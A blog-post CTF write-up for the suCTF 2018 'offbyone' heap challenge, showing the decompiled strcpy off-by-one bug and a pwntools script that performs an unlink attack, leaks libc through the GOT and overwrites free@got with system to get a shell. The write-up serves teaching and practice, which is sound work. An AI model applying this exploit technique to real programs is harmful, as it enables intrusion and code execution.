Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

suCTF1 2018 pwn heap(offbyone) writeup

Checksec:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

This pwn exists off-by-one:

When pwner wants to get a new chunk, the program will malloc() two same size chunk. The pwner’s input will be put into the first chunk, and then the program uses strcpy() without input size to do the memory copy. The first chunk will be free() very soon.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if ( size > 0x7F && size <= 0x100 )
{
fake_new_chunk = malloc(size);
new_chunk = malloc(size);
memset(new_chunk, 0, size);
memset(fake_new_chunk, 0, size);
puts("input your data");
read(0, fake_new_chunk, (unsigned int)size);
strcpy((char *)new_chunk, (const char *)fake_new_chunk);
++total;
for ( i = 0; i < total; ++i )
{
if ( !heap_form[i] )
{
heap_form[i] = (char *)new_chunk;
break;
}
}
if ( i == total )
heap_form[i] = (char *)new_chunk;
free(fake_new_chunk);
}

If pwner doesn’t enter \x00 to end the string, the next chunk’s size will be regarded as a part of the string. Here exists off-by-one.

We first malloc() 5 chunks, chunk 1-4 will reuse the first chunk’s fake_new_chunk to do the string copy. Chunk 1 will be used to get shell by system().

1
2
3
4
5
6
7
8
9
10
11
def pwn():
p = process('./offbyone')
elf = ELF('./offbyone')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
# chunk size 0x80 ~ 0x100
Add(p, 0x100, '0' * 0x100)
Add(p, 0x100, '/bin/sh\x00')
Add(p, 0x100, '2' * 0x100)
Add(p, 0x88, '3' * 0x88)
Add(p, 0x100, '4' * 0x100)

Construct a fake chunk of size 0x80 and set chunk 4 pre_inuse to 0 then perform the unlink attack.

1
2
3
4
5
6
payload = 2 * p64(0)
payload += p64(0x6020d8 - 0x18) + p64(0x6020d8 - 0x10)
payload = payload.ljust(0x80,'\x00')
payload += p64(0x80) + '\x10'
Edit(p, 3, payload)
Delete(p, 4)

When we free() the chunk 4, it will merge the fake chunk 3 of size 0x80 instead of 0x90. The unlink attack detail:

1
2
3
4
5
FD = 0x6020c0;
BK = 0x6020c8;
// will pass the security check
FD->bk = BK; // *(0x6020d8) = 0x6020c8
BK->fd = FD; // *(0x6020d8) = 0x6020c0

After unlink, the chunk_list[3] will point to the chunk_list[0]’s address and we will have the ability to write and read arbitrarily. Then leak the libc address and get the shell by overwrite the free@got.

1
2
3
4
5
6
7
8
9
10
11
Edit(p, 3, p64(elf.got['malloc']))
libc_base_addr = Show(p, 0)
libc_base_addr = u64(libc_base_addr.ljust(8, '\x00')) - libc.symbols['malloc']
libc.address = libc_base_addr

Edit(p, 3, p64(elf.got['free']))
Edit(p, 0, p64(libc.symbols['system']))

Delete(p, 1)
p.interactive()
p.close()

Relevant Article

https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/